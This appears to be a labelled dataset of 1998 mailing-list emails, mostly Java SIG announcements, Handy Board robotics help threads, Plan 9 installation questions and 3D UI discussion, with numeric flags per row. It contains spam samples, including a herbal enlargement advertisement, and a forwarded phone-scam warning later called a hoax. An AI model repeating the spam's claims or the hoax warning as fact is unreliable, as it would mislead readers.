1998. Submissions should include authors names, affiliations, addresses, fax and phone numbers, email addresses, on the cover page. Only original manuscripts will be considered. All papers will undergo a peer review process. Authors will be notified of the final publication decision by December 31, 1998. ####################################################################### # Guest Editor, Scientific Programming # # # # Susan Flynn-Hummel # # IBM T. J. Watson Research # # 30 Saw Mill River Road # # Hawthorne, NY 10532 # # Tel: (914) 784-7942, Fax: (914) 784-6242 # # email: hummel@watson.ibm.com # # # ####################################################################### ------------- End Forwarded Message ------------- ------------- Begin Forwarded Message ------------- Date: Tue, 21 Jul 1998 13:45:14 -0500 (CDT) From: Corky Cartwright To: java-for-cse@npac.syr.edu Subject: A Much Higher Performance Java Implementation for Solaris 2.6 Solaris 2.6 Users: Sun has just released a new implementation of Java 1.2 designed specifically for Solaris machines (Sparc and x86) under its Early Access program at the Java Developers Connection. It is available at the URL http://developer.javasoft.com/developer/earlyAccess/jdk1.2/index.html You have to register with the Java Developers Connection to download the system but the registration process is trivial. The implementation features a completely new generational copying garbage collector, low overhead locking protocols, and a much more sophisticated JIT compiler (it even does some common subexpression elimination). During the past academic year, I spent my sabbatical at Sun Microsystems Laboratories East working with Java Topics research group that produced this implementation. The experimental Java implementation developed by this research group was so better than existing Sun products that the Solaris Sofware division of Sun Microsystems decided to make the research system into a product. I am interested in hearing how well this implementation performs on scientific calculations. It is still a long way from optimized Fortran, but it runs 12 times faster than JDK 1.1.5 on my favorite symbolic benchmark (a boolean simplifier). Check it out. Corky Cartwright Department of Computer Science Rice University ------------------------------------------------------------------------------- - Nelson H. F. Beebe Tel: +1 801 581 5254 - - Center for Scientific Computing FAX: +1 801 585 1640, +1 801 581 4148 - - University of Utah Internet e-mail: beebe@math.utah.edu - - Department of Mathematics, 322 INSCC beebe@acm.org - - 155 S 1400 E RM 233 beebe@ieee.org - - Salt Lake City, UT 84112-0090, USA URL: http://www.math.utah.edu/~beebe - ------------------------------------------------------------------------------- 27-Jul-1998 12:38:31-GMT,2000;000000000001 Received: from plot79.math.utah.edu (beebe@plot79.math.utah.edu [155.101.20.21]) by csc-sun.math.utah.edu (8.8.5/8.8.5) with ESMTP id GAA17174; Mon, 27 Jul 1998 06:38:05 -0600 (MDT) From: ""Nelson H. F. Beebe"" Received: (from beebe@localhost) by plot79.math.utah.edu (8.8.5/8.8.5) id GAA03452; Mon, 27 Jul 1998 06:38:04 -0600 (MDT) Date: Mon, 27 Jul 1998 06:38:04 -0600 (MDT) To: java-users@math.utah.edu, java-sig@math.utah.edu Cc: beebe@math.utah.edu X-US-Mail: ""Center for Scientific Computing, Department of Mathematics, 322 INSCC, University of Utah, 155 S 1400 E RM 233, Salt Lake City, UT 84112-0090, USA"" X-Telephone: +1 801 581 5254 X-FAX: +1 801 585 1640, +1 801 581 4148 X-URL: http://www.math.utah.edu/~beebe Subject: Security bug in Java 1.2 / Netscape Navigator 4.x Message-ID: A serious new security bug in Java 1.2 / Netscape Navigator 4.x has been uncovered: for a description, see http://www.javaworld.com/javaworld/jw-08-1998/jw-08-12bug.html in the section titled ``First bug bites Java 1.2 -- Mozilla stung''. >From that document: >> McGraw, co-author with Felten of the forthcoming Securing >> Java: Getting Down to Business with Mobile Code (John Wiley & >> Sons), added that the hole is ""as critical as any ever discovered in >> Java."" ------------------------------------------------------------------------------- - Nelson H. F. Beebe Tel: +1 801 581 5254 - - Center for Scientific Computing FAX: +1 801 585 1640, +1 801 581 4148 - - University of Utah Internet e-mail: beebe@math.utah.edu - - Department of Mathematics, 322 INSCC beebe@acm.org - - 155 S 1400 E RM 233 beebe@ieee.org - - Salt Lake City, UT 84112-0090, USA URL: http://www.math.utah.edu/~beebe - ------------------------------------------------------------------------------- 29-Jul-1998 23:56:27-GMT,1857;000000000001 Received: from plot79.math.utah.edu (beebe@plot79.math.utah.edu [155.101.20.21]) by csc-sun.math.utah.edu (8.8.5/8.8.5) with ESMTP id RAA06714; Wed, 29 Jul 1998 17:56:02 -0600 (MDT) From: ""Nelson H. F. Beebe"" Received: (from beebe@localhost) by plot79.math.utah.edu (8.8.5/8.8.5) id RAA18877; Wed, 29 Jul 1998 17:56:01 -0600 (MDT) Date: Wed, 29 Jul 1998 17:56:01 -0600 (MDT) To: java-users@math.utah.edu, java-sig@math.utah.edu Cc: beebe@math.utah.edu X-US-Mail: ""Center for Scientific Computing, Department of Mathematics, 322 INSCC, University of Utah, 155 S 1400 E RM 233, Salt Lake City, UT 84112-0090, USA"" X-Telephone: +1 801 581 5254 X-FAX: +1 801 585 1640, +1 801 581 4148 X-URL: http://www.math.utah.edu/~beebe Subject: Proposed floating-point changes in the Java Virtual Machine Message-ID: As I have previous reported on these lists, there has been debate in the floating-point community about the floating-point restrictions imposed by the Java Virtual Machine specification. There is now an official proposal from Sun about what to do about this: visit http://java.sun.com/feedback/fp.html for details. ------------------------------------------------------------------------------- - Nelson H. F. Beebe Tel: +1 801 581 5254 - - Center for Scientific Computing FAX: +1 801 585 1640, +1 801 581 4148 - - University of Utah Internet e-mail: beebe@math.utah.edu - - Department of Mathematics, 322 INSCC beebe@acm.org - - 155 S 1400 E RM 233 beebe@ieee.org - - Salt Lake City, UT 84112-0090, USA URL: http://www.math.utah.edu/~beebe - ------------------------------------------------------------------------------- 20-Aug-1998 11:54:59-GMT,1196;000000000001 Received: from out1.ibm.net (out1.ibm.net [165.87.194.252]) by csc-sun.math.utah.edu (8.8.5/8.8.5) with ESMTP id FAA06720 for ; Thu, 20 Aug 1998 05:54:11 -0600 (MDT) Received: from ibm.net (slip-32-100-216-200.ut.us.ibm.net [32.100.216.200]) by out1.ibm.net (8.8.5/8.6.9) with ESMTP id LAA120790 for ; Thu, 20 Aug 1998 11:54:09 GMT Message-ID: <35DC0E16.E969431E@ibm.net> Date: Thu, 20 Aug 1998 05:52:54 -0600 From: Bill Harris Reply-To: bharris@ibm.net X-Mailer: Mozilla 4.05 [en] (Win95; U) MIME-Version: 1.0 To: SL Java SIG ListServer Subject: SL Java SIG Meeting - 8/25/98 - Novell Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Jeff Middleton, a programmer in Novell's JVM (Java Virtual Machine) Engineering Group, will talk about Novell's new version of Netware which has strong Java support. The meeting is from 7:00 - 8:00 PM, in Room 112 of the Eng.& Mines Classroom Bldg., on the Univ.Of Utah campus, on Tuesday night, 8/25/98. For further info, see Salt Lake Java SIG or call Bill Harris at home: (801)582-5004. 19-Aug-1998 23:15:53-GMT,1298;000000000001 Received: from out2.ibm.net (out2.ibm.net [165.87.194.229]) by csc-sun.math.utah.edu (8.8.5/8.8.5) with ESMTP id RAA02806 for ; Wed, 19 Aug 1998 17:15:02 -0600 (MDT) Received: from ibm.net (slip129-37-226-139.ut.us.ibm.net [129.37.226.139]) by out2.ibm.net (8.8.5/8.6.9) with ESMTP id XAA107818 for ; Wed, 19 Aug 1998 23:14:59 GMT Message-ID: <35DB5C2B.740EE956@ibm.net> Date: Wed, 19 Aug 1998 17:13:47 -0600 From: Bill Harris Reply-To: bharris@ibm.net X-Mailer: Mozilla 4.05 [en] (Win95; U) MIME-Version: 1.0 To: java-sig@math.utah.edu Subject: August 25 Java SIG Mtg - Novell Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit The next meeting of the Salt Lake Java SIG will be Tuesday night, 8/25/98, 7:00 - 8:00 PM, in Eng.& Mines Classroom Bldg. Room 112 on the U of U campus. Jeff Middleton, a programmer in Novell's JVM (Java Virtual Machine) Engineering group, will be talking about Novell's soon-to-be-released version of Netware. This new version has been greatly enhanced from the ground up to support Java programs. Take a look at our web site for further info - Salt Lake Java SIG. For further info - call Bill Harris at (Home) (801)582-5004 13-Sep-1998 1:13:30-GMT,2771;000000000000 Received: from plot79.math.utah.edu (beebe@plot79.math.utah.edu [155.101.20.21]) by csc-sun.math.utah.edu (8.8.5/8.8.5) with ESMTP id TAA14651; Sat, 12 Sep 1998 19:11:50 -0600 (MDT) From: ""Nelson H. F. Beebe"" Received: (from beebe@localhost) by plot79.math.utah.edu (8.8.5/8.8.5) id TAA26246; Sat, 12 Sep 1998 19:11:49 -0600 (MDT) Date: Sat, 12 Sep 1998 19:11:49 -0600 (MDT) To: java-sig@math.utah.edu, java-users@math.utah.edu Cc: beebe@math.utah.edu X-US-Mail: ""Center for Scientific Computing, Department of Mathematics, 322 INSCC, University of Utah, 155 S 1400 E RM 233, Salt Lake City, UT 84112-0090, USA"" X-Telephone: +1 801 581 5254 X-FAX: +1 801 585 1640, +1 801 581 4148 X-URL: http://www.math.utah.edu/~beebe Subject: Strong criticism of Java floating-point arithmetic Message-ID: Some of you may enjoy reading this recent report: @TechReport{Kahan:1998:HJF, author = ""W. Kahan and Joseph D. Darcy"", title = ""How {Java}'s Floating-Point Hurts Everyone Everywhere"", type = ""Technical Report"", institution = ""Department of Mathematics and Department of Electrical Engineering and Computer Science, University of California, Berkeley"", address = ""Berkeley, CA, USA"", pages = ""80"", day = ""18"", month = jun, year = ""1998"", bibdate = ""Sat Sep 12 18:53:11 1998"", URL = ""http://www.cs.berkeley.edu/~wkahan/JAVAhurt.pdf; http://www.cs.berkeley.edu/~wkahan/JAVAhurt.ps"", acknowledgement = ack-nhfb, annote = ""The authors deliver a biting criticism of Java for its failure to use the 80-bit temporary real format on Intel x86 architectures, failure to use multiply-add instructions when available, and failure to compute float subexpressions in double precision."", } Local users on *.math.utah.edu machines can find them in the local files /u/cl/doc/floating-point/kahan-JAVAhurt.{pdf,ps.gz}. ------------------------------------------------------------------------------- - Nelson H. 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Of Utah Campus. Presenters from IBM will demonstrate the newest version (not yet on the shelves) of Visual Age for Java. They will also discuss and show how to develop applets and applications which require the use of both visual and non-visual components. There will be door prizes. For further information, please see our web page at: http://www.psicomp.com/techsig or call Bill Harris at: (801) 582-5004. Bill Harris 1-Oct-1998 11:41:26-GMT,1352;000000000001 Received: from out1.ibm.net (out1.ibm.net [165.87.194.252]) by csc-sun.math.utah.edu (8.8.5/8.8.5) with ESMTP id FAA15662 for ; Thu, 1 Oct 1998 05:39:47 -0600 (MDT) Received: from ibm.net (slip129-37-226-25.ut.us.ibm.net [129.37.226.25]) by out1.ibm.net (8.8.5/8.6.9) with ESMTP id LAA94496 for ; Thu, 1 Oct 1998 11:39:44 GMT Message-ID: <361369C0.82BFDAB3@ibm.net> Date: Thu, 01 Oct 1998 05:38:40 -0600 From: Bill Harris Reply-To: bharris@ibm.net X-Mailer: Mozilla 4.05 [en] (Win95; U) MIME-Version: 1.0 To: SL Java SIG ListServer Subject: Salt Lake Java SIG - Oct.6 Meeting Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Salt Lake Java SIG The Salt Lake Java SIG will be meeting on Tuesday, Oct.6, from 7:00 - 8:00 PM, in Room 112 of the Engineering and Mines Classroom Building (EMCB) on the Univ. Of Utah Campus. Presenters from IBM will demonstrate the newest version (not yet on the shelves) of Visual Age for Java. They will also discuss and show how to develop applets and applications which require the use of both visual and non-visual components. There will be door prizes. For further information, please see our web page at: http://www.psicomp.com/techsig or call Bill Harris at: (801) 582-5004. Bill Harris",0,1 Paul ,handyboard_mailinglist ,"Tue, 05 May 1998 22:45:10 +1000",L293d,"Hi everybody Can someone tell me which websites I can order the motor driver chips, L293d? Thank you. ",0,0 Lewis Cornick ,"'Mini - Board' , 'Mini - Board2' ","Tue, 05 May 1998 16:07:00 +0100",FW: Just in case," > > > > > > I don't know how valid this is, but just in case... > > > > > > Tony Roberti > > > Programmer, ACPS Animated Systems Team 7 > > > RobertA@isd.flightsafety.com > > > > > > I received a telephone call from an individual identifying > himself > > as > > > an AT&T Service Technician who was conducting a test on our > > telephone > > > lines. He stated that to complete the test we should touch nine > > (9), > > > zero (0), the pound sign (#) and then hang up. Luckily, we were > > > suspicious and refused. Upon contacting the telephone company we > > were > > > informed that by pushing 90# you give the requesting individual > full > > > access to your telephone line, which allows them to place a long > > > distance telephone calls billed to your home phone number. We > were > > > further informed that this scam has been originating from many of > > the > > > local jails/prisons. I have also verified this information with > UCB > > > Telecomm. > > > > > > Please beware. This sounds like an Urban Legend - IT IS > > NOT!!! > > > I further called GTE Security this morning and verified that this > is > > > definitely possible. DO NOT press 90# for ANYONE. The GTE > Security > > > department requested that I share this information with EVERYONE I > > > KNOW!!! > > > > > > Could you PLEASE pass this on. If you have mailing lists and/or > > > newsletters from organizations you are connected with, I encourage > > you > > > to pass on this information. > > > > > > Nancee Hunkins > > > Tarkio R-1 Schools > > > 312 S. 11th > > > Tarkio, Missouri 64491 > [Lewis] Thanks > Lewis Cornick > ========================================================== > Software Developer > Silversands Computers Ltd. Shareware VB Add-Ins (Written By Me) Available On My HomePage www : http://www.geocities.com/SiliconValley/Haven/1768 > E-Mail: l_cornick@hotmail.com ICQ: 11508290 Work: http://www.silversands.co.uk E-Mail: lewis.cornick@silversands.co.uk > Any opinions expressed are solely my own unless otherwise stated > ========================================================== > ",0,1 Pat Benoy ,handyboard@media.mit.edu,"Tue, 05 May 1998 10:19:57 -0500",(no subject),"Help: We have had five boards go bad after charging of the battery. These boards passed all of the tests and functioned perfectly. However after the batteries were first discharged then recharged we get nothing on the screen. pcode appears to load fine, but then no beep and nothing on the LCD. Help ",0,0 Lewis Cornick ,"'Mini - Board2' , 'Mini - Board' ","Tue, 05 May 1998 16:43:28 +0100",FW: FW: Just in case - it's a hoax,"Sorry, should of checked first..... > For all of you trembling in fear at the dreaded 90# scam, see the > following web page: http://korova.com/virus/hoax980212.htm. It's > another hoax. > > Thanks > > Lewis Cornick > ========================================================== > Software Developer > Silversands Computers Ltd. Shareware VB Add-Ins (Written By Me) Available On My HomePage www : http://www.geocities.com/SiliconValley/Haven/1768 > E-Mail: l_cornick@hotmail.com ICQ: 11508290 Work: http://www.silversands.co.uk E-Mail: lewis.cornick@silversands.co.uk > Any opinions expressed are solely my own unless otherwise stated > ========================================================== > ",0,1 BMajik5127 ,handyboard@media.mit.edu,"Tue, 05 May 1998 12:21:32 -0400",*low voltage sensing*," hi i need to know if the handyboard can sense low-voltage and what the program would look like in c or some kind of basic? thanks -mike ",0,0 Shelby ,handyboard@media.mit.edu,"Tue, 05 May 1998 10:04:39 -0500",What's happening in fitness world?,"may cinema and sufficient it's danube ! misery it batchelder ",1,0 MAR ERICSON ,BMajik5127 ,"Tue, 05 May 1998 13:58:14 -0400",Re: *low voltage sensing*,"if(analog(0) < 240) { blah blah blah } analog(0) is the analog sensor 0 on the HB and 240 is like 4.7V 240/255*5.0V = 4.7V ----------- ericson mar Master of Engineering Candidate Project: Mobile Robotics mar@cooper.edu (212)353-4356 Department of Mechanical Engineering The Cooper Union for the Advancement of Science and Art ------------------------------------------------------- On Tue, 5 May 1998, BMajik5127 wrote: > > hi i need to know if the handyboard can sense low-voltage and what the > program would look like in c or some kind of basic? > thanks -mike >",0,0 Vince Fong ,handyboard@media.mit.edu,"Tue, 05 May 1998 14:39:09 -0400","New for 98, Finger Board II - Redesigned ","New features on Finger Board II: Improved layout and better parts spacing. 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Register to win a Finger Board! Since the announcement of our newest embedded processor board, Finger Board II, we have one fully assembled original Finger Board in stock. Instead of selling it at a discount, we will hold a random drawing and the lucky winner will receive the Finger Board. Embedded Acquisition Systems 1565 Shrader Street San Francisco, CA 94117 WEB http://www.hooked.net/~jfong EMAIL jfong@hooked.net ",0,1 Peter Harrison ,"""handyboard@media.mit.edu"" ","Tue, 05 May 1998 21:14:21 +0100",how do I build my own pcode?,"Title says it really. I am using both IC2.8something and IC3.2. I would like to make some small changes to the pcode for these to allow other LCDs and so on. (one goal would be to do without the LCD if I wanted to) I would rather work in a DOS/Windows environment but could use linux if I had to. Can anyone tell me exactly what I need to have and what I need to do to build my own pcode for the board. Many thanks pete -- ===================================================== peter.harrison@cannock.ac.uk Cannock Chase Technical College ",0,0 Franklin Robert Araujo Fran�a <973930@dcc.unicamp.br>,9fans@cse.psu.edu,"Tue, 05 May 1998 17:46:43 -0300",Re: [9fans] Installing plan9," ed@washoe.cs.unr.edu wrote: > Kevin: > > I use an NE200 clone with no problems. Delete the > > ip/arpd -b bcast-addr > > line as arpd is started by ip/ipconfig unless told not to. > My system hangs if I try to start a second arpd this way also. > > The #Q device has to be compiled into the kernel as the distribution > does not have it. You need the source for this and the instructions > are: > > addd the line; > icmp Q > *********************************************************** > to the pcdisk file (or whatever configuration you are building) > in /sys/src/9/pc, type mk. Copy the new kernel to the > boot partition and then: > ************************************************************ > add to /lib/namespace: > bind -a #Q /net > > add to /rc/bin/termrc: > bind -a '#Q' /dev > aux/icmp > echo -n 'add tcp il udp icmp' >/net/cs > > Others have addressed the ATAPI issue. I use SCSI cdroms. > > ed wishart Ed what´s does mean the line above: Copy the new kernel to the boot partition... ? Thanks. Franklin. ",0,0 Jim Fong ,"""handyboard@media.mit.edu"" ","Tue, 05 May 1998 14:19:25 -0700",Re: how do I build my own pcode?,"You can pick up the pcode source from the MIT web site at http://lcs.www.media.mit.edu/groups/el/projects/handy-board/software/pcode_p c.zip This file contains the source code for 2.8 pcode with instructions on how to re-compile under msd*s. I have modified the source to use larger/smaller LCD displays, although they need to be ones that use the Hitachi HD44780 chipset. IC 3.x source code is available from ftp://newtonlabs.com/contrib/ This is the version that has the new smooth-pwm motor drivers. The Un*x version of the source is also available somewhere in ftp://cherupakha.media.mit.edu/pub/projects/6270/interactive-c Jim At 09:14 PM 5/5/98 +0100, you wrote: >Title says it really. > >I am using both IC2.8something and IC3.2. I would like to make some >small changes to the pcode for these to allow other LCDs and so on. >(one goal would be to do without the LCD if I wanted to) > >I would rather work in a DOS/Windows environment but could use linux if >I had to. > >Can anyone tell me exactly what I need to have and what I need to do to >build my own pcode for the board. > >Many thanks > >pete >-- >===================================================== >peter.harrison@cannock.ac.uk >Cannock Chase Technical College > > ",0,1 Max Davies ,Virtual Friends ,"Tue, 05 May 1998 19:38:59 -0400",HandyBoard 10-16 Servo support,"I am trying to develop simple Hardware/Software to support up to 16 servos from the HandyBoard. A theoretical constraint of my plans is that only about 10 of the 16 connected servos will be able to actively hold position at one time. I plan to do this by multiplexing control signals for all of the servos onto one timer output line such as TOC3 or TOC4 which are available on the expansion port. This requires some demultiplexing hardware, and I have a tentative schematic to do this which uses a 73HC374 (for additional digital outs) and a 73HC154 (for the de-multiplexing). Being a hardware novice, my question/problem is this: the 73HC154 demultiplexor provides ""active-low"" outputs in that all non-selected output lines are high rather than low as the servo's require. To use this chip then I will have to add 16 inverters which seems a waste. Is there a different demultiplexor that I can use to get ""active-high"" outputs to avoid the requirement of all the inverters? Thanks, /Max PS: what does the HC in the middle of things like 73HC374 mean? How does it compare to things like 73LS374? Should all components on an HB expansion board be of the HC type? ",0,0 brian-c@technologist.com,handyboard@media.mit.edu,"Tue, 05 May 1998 20:19:36 -0400",Re: HandyBoard 10-16 Servo support," ""HC"" is for CMOS chips ""LS"" is for Low-Power Schottky chips Brian Carvalho Devry Institute New Jersey ---- you wrote: > I am trying to develop simple Hardware/Software to support up to 16 servos from > the HandyBoard. > A theoretical constraint of my plans is that only about 10 of the 16 connected > servos will be able to actively hold position at one time. > > I plan to do this by multiplexing control signals for all of the servos onto one > timer output line such as TOC3 or TOC4 which are available on the expansion > port. > > This requires some demultiplexing hardware, and I have a tentative schematic to > do this which uses a 73HC374 (for additional digital outs) and a 73HC154 (for > the de-multiplexing). > > Being a hardware novice, my question/problem is this: the 73HC154 demultiplexor > provides ""active-low"" outputs in that all non-selected output lines are high > rather than low as the servo's require. To use this chip then I will have to > add 16 inverters which seems a waste. > > Is there a different demultiplexor that I can use to get ""active-high"" outputs > to avoid the requirement of all the inverters? > > Thanks, > /Max > > > PS: what does the HC in the middle of things like 73HC374 mean? How does it > compare to things like 73LS374? Should all components on an HB expansion board > be of the HC type? > > --------------------------------------------------- Get free personalized email at http://www.iname.com ",0,1 smithg@gat.com,handyboard@media.mit.edu,"Tue, 05 May 1998 17:24:44 -0700",256 Motor Power Resolution,"Hi All, Has anyone noticed that if you slightly modify Julian Skidmore's LIB_HB.C code that one can get 256 motor power levels rather than 100? I took the following code in LIB_HB.C: void motor(int m, int speed) { if (speed>100) speed=100; if (speed<-100) speed=-100; if (speed >= 0) _set_motor(m, 0, (255*speed)/100); else _set_motor(m, 1, (-255*speed)/100); } And then changed the code to the following: void motor(int m, int speed) { if (speed>255) speed=255; if (speed<-255) speed=-255; if (speed >= 0) _set_motor(m, 0, speed); else _set_motor(m, 1,(-1*speed)); } I can now get 256 power levels rather than the previous 100. I have tested it (but not extensively) and it seems to work OK. Any comments on this would be appreciated. Gordon Smith II Test Engineer General Atomics Aeronautical Systems",0,0 Pandit Panburana ,"Paul , handyboard_mailinglist ","Tue, 05 May 1998 20:36:08 -0400",Re: L293d,"Hi Paul, You can visit Handy Board WEB and look under ""Get One"" . Pick component button under ""Get One"" you will see a couple of places that have L293D. -Pandit ---------- > From: Paul > To: handyboard_mailinglist > Subject: L293d > Date: Tuesday, May 05, 1998 8:45 AM > > Hi everybody > Can someone tell me which websites I can order the motor driver chips, > L293d? > > Thank you. > > >",0,0 MAR ERICSON ,Handy Board mailing list ,"Tue, 05 May 1998 22:48:34 -0400",porting IC 3.2 between computers,"I need to bring my IC 3.2 program to another computer. Do I need to reinstall the files from the original execuatble? Or can I just zip up my IC directory and unzip it on another computer? ----------- ericson mar Master of Engineering Candidate Project: Mobile Robotics mar@cooper.edu (212)353-4356 Department of Mechanical Engineering The Cooper Union for the Advancement of Science and Art ------------------------------------------------------- ",0,0 Karyn Barrett ,handyboard@media.mit.edu,"Wed, 06 May 1998 02:33:16 +0200",Welcome to matrix,"-Sensattional revolution in medicine! -Enlarge your penis up to 10 cm or up to 4 inches! -It's herbal solution what hasn't side effect, but has 100% guaranted results! -Don't lose your chance and but know wihtout doubts, you will be i`mpressed with results! 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I hope you can read my english text, as good as my german text. Do you have experience with the new smooth pwm-routines ? I can´t download the new routines into my hb. I got every time the same error-message. (Bad EOF after round about 1515 Bytes). I had several times download the new-routines from the HB-Homepage. I think i have no filegarbage. Can you help me ?? bye Bernd sorry for my bad english ? Richard Drushel wrote: > [Bernd Klein] spake unto the ether: > > > da ich ebenfalls aus Deutschland komme, habe ich vor einiger Zeit das > > gleiche Problem gehabt. In Deutschland wird nach meinem Wissen lediglich > > das Rug-Warrior Bord vertreiben (über Joker-Robotics). Ich habe mein HB in > > den Staten gekauft, das hat sehr gut funktioniert > > > > Ich schau mal nach bei wem ich den Bausatz gekauft habe.. > > Hallo Bernd, es freut mich sehr, dass ich genug deutsch erinnern > kann, seit siebzehn Jahren, deinen Brief zu lesen und zu verstehen :-) > > (A nice change of pace to think in German today.) > > *Rich* > -- > Richard F. Drushel, Ph.D. | ""Aplysia californica"" is your taxonomic > Department of Biology, Slug Division | nomenclature. / A slug, by any other > Case Western Reserve University | name, is still a slug by nature.. > Cleveland, Ohio 44106-7080 U.S.A. | -- apologies to Data, ""Ode to Spot"" ",0,0 Franklin Robert Araujo Fran�a <973930@dcc.unicamp.br>,9fans@cse.psu.edu,"Wed, 06 May 1998 09:36:41 -0300",[9fans] Installing plan9,"We have successfully retrieved, unpacked and compiled the file 9/pc/824494421.rc ( 16-Feb-96 update) which has the devata.c driver. We copied the files to the proper source directory (/sys/src/9/pc) and typed mk installall generating the 9dos, 9pc, 9pcdisk kernels. Then we copied 9pcdisk to DOS (c:/plan9/) and fetched 9pcdisk and tried it via Plan9.ini (bootfile=hd!0!/plan9/9pcdisk), but here's what happens: CPU is a 200MHz Pentium735 (cpuid: ax52cdx1bf) scsibuf: 0x2bbb84 scsibuf: 0x2dbb94 scsibuf: 0x2fbba4 scsibuf: 0x31bbb4 root is from (local, 9660, 19200, il)[local!#H/hd0disk]: local!#H/hd0fs user: franklin password: cmd=00, lastcmd=A0 cdsize count 14, status 0x50, error 0x00 cmd=00, lastcmd=A0 cdsize count 14, status 0x50, error 0x00 boot: can't connect to file server: file does not exist panic: boot process died: unknown What did we miss? Any suggestions? Franklin. ",0,0 Jeff Loeliger ,Philippe GUERMEUR ,"Wed, 06 May 1998 10:39:07 +0100",Re: DS1233 Monitor Chip,"I used the MC34064 in both of the handyboards that I built. WARNING !! The pin out the DS1233 and MC34064 is DIFFERENT! You need to rotate the MC34064 by 120 degrees. Check the pin out before inserting the MC34064. If you do not rotate it, the Handyboard will not work correctly and the 34064 will get very hot. When I built my boards I inserted the 34064 directly into the DS1233 holes. It took me 3 days to find the problem. -Jeff Loeliger Philippe GUERMEUR wrote: > > >I cannot locate a DS1233 chip. I have tired DigiKey, Jameco, Mouser, > >Active. What is a good source for this part? > > > >I have an MC34064. Looks similiar except that it has no 350mSec > >delay and a different pinout. Has anyone tried this chip without any > >caps? > > I use an MC34064 on a 68hc11, and have never had any problem with it. > > Philippe Guermeur > guermeur@ensta.fr ",0,0 Mike Davis ,Jeff Loeliger ,"Wed, 06 May 1998 06:47:35 +0000",Re: DS1233 Monitor Chip,"I already tried it. Works fine. Thanks, > Date: Wed, 06 May 1998 10:39:07 +0100 > From: ""Jeff Loeliger"" > To: Philippe GUERMEUR > Cc: handyboard@media.mit.edu > Subject: Re: DS1233 Monitor Chip > I used the MC34064 in both of the handyboards that I built. > > WARNING !! The pin out the DS1233 and MC34064 is DIFFERENT! You need to > rotate the MC34064 by 120 degrees. Check the pin out before inserting > the MC34064. If you do not rotate it, the Handyboard will not work > correctly and the 34064 will get very hot. When I built my boards I > inserted the 34064 directly into the DS1233 holes. It took me 3 days to > find the problem. > > -Jeff Loeliger > > Philippe GUERMEUR wrote: > > > > >I cannot locate a DS1233 chip. I have tired DigiKey, Jameco, Mouser, > > >Active. What is a good source for this part? > > > > > >I have an MC34064. Looks similiar except that it has no 350mSec > > >delay and a different pinout. Has anyone tried this chip without any > > >caps? > > > > I use an MC34064 on a 68hc11, and have never had any problem with it. > > > > Philippe Guermeur > > guermeur@ensta.fr > > -- ----------------------------------------------------------------- ipscone@halcyon.com Shoot-To-Win! Protect the 2nd Amendment! Your rights may be next! -----------------------------------------------------------------",0,0 Wong Sy Ming ,BMajik5127 ,"Wed, 06 May 1998 22:08:32 +0800",Re: **handyboard**," BMajik5127 wrote: > hello, > i was wondering if anyone can help me.i dont own a handyboard yet, how do you > program it, i am worried that it is very compicated to do. please if you could > send me some simple code say to move both drive motors fwd, how would you do > it? > i am just trying to get a feel for it so i can decide if the handyboard is > for me, also where do i get one with motors sensors etc... > thanks -mike > No it's actually quite easy, the only thing is you have to do a lot of soldering. Be careful of the HC373 which is mounted directly onto the board as if it is damaged by heat, then you will have a ""nice"" time desoldering it... To drive both forward, all you need to do is: void BothForward() { fd(0); fd(1); } This will drive the motors on outputs 1 and 2 forward. Why don't you go download the manual? ",0,0 Wong Sy Ming ,handyboard@media.mit.edu,"Wed, 06 May 1998 22:16:04 +0800",Multitasking,"Hello, I am multiplexing 5 LED displays through the Handy Board, but I am getting excessive flicker as in the brightness of the displays is not constant...the intensity of the displays varies from time to time. Does anyone, then, have a program to multitask the multiplexing routine? The whole program is attached here. Thanks! ",0,0 Ivan Poupyrev ,3D UI list <3d-ui@hitl.washington.edu>,"Thu, 07 May 1998 00:52:33 -0700",[Fwd: 3D UI issues from Jeff Pierce],">2) send me a list of what you think are the most important fundamental >issues related to 3D/immersive manipulation that need to be discussed >and written about - We need to forge stronger collaborations with psychologists. Researchers on perceptual issues in virtual environments (Dennis Proffitt, Earl Hunt, and Jack Loomis all spring to mind) and researchers in psychomotor behavior (Yves Guiard) have both contributed to our understanding of 3D environments and inspired interaction techniques. I believe that there are more techniques that can be informed by lessons learned from psychology waiting to be created. Even something as simple as an optical illusion (which the Head Crusher technique essentially was) can inspire an interaction technique. - We need to figure out what VR is good for. The application domains that we attack will shape the interaction techniques we create. For example, if the user is working at a desk for extended periods in fishtank VR, our interaction techniques probably shouldn't have the user reach up into the air for long periods of time. However, for worlds using a head mounted display for short periods of time, this type of interaction might not be a problem. - More specifically, we need to think harder about what 3D and VR are good for that other environments aren't. Given the higher costs of 3D/VR, we need to have good enough techniques to justify the cost. - We need to go beyond thinking about VR and interactive 3D graphics as being simulations of the real world. Or, to put it another way, we need to start thinking out of the box. - We need to think about novel input devices and props. Touch gloves vs. WIM clipboard vs. virtual tricorder, etc. Also issues like general props for many tasks vs. specific props for single tasks. That's just a smattering of issues to think about - there are more.",0,0 Ivan Poupyrev ,3D UI list <3d-ui@hitl.washington.edu>,"Thu, 07 May 1998 00:54:43 -0700",[Fwd: 3D UI issues from Mark Mine],"> 2) send me a list of what you think are the most important fundamental > issues related to 3D/immersive manipulation that need to be discussed > and written about 1) Extensibility 2) Extensibility 3) Extensibility 4) Integration of extensible interaction paradigms Basically, there are a lot of cool interaction ideas that work well in limited domains, but no one has managed to pull together these techniques into a decent working system yet. How can we do real-world work in a virtual world? How can we work for extended periods of time? Other questions: 1) The classic HMD vs. CAVEs question. I have to admit that I am leaning towards the CAVE side right now (or projection/large screen interaction at least). 2) How much of the ""Magic"" of VR depends upon - immersion - head tracking - stereo - real-time 3D graphics",0,0 Mike Davis ,handyboard@media.mit.edu,"Wed, 06 May 1998 11:15:53 +0000",LCD Commands,"Is there some documentation somewhere that shows the commands required to talk to the display. I would like to control the display from assembly code and I need to know what these commands are. I already know how to talk to the display using the A, B, C ports but there must be some commands and data that need to be sent to the LCD. Thanks -- ----------------------------------------------------------------- ipscone@halcyon.com Shoot-To-Win! Protect the 2nd Amendment! Your rights may be next! ----------------------------------------------------------------- ",0,0 BMajik5127 ,handyboard@media.mit.edu,"Wed, 06 May 1998 14:39:22 -0400",* the handy-board manual*," Hello where can I find the handyboard manual to download? thanks -mike ",0,0 Jim Fong ,handyboard@media.mit.edu,"Wed, 06 May 1998 11:51:25 -0700",Re: LCD Commands,"http://www.paranoia.com/~filipg/HTML/LINK/F_LCD_HD44780.html This is one of the many 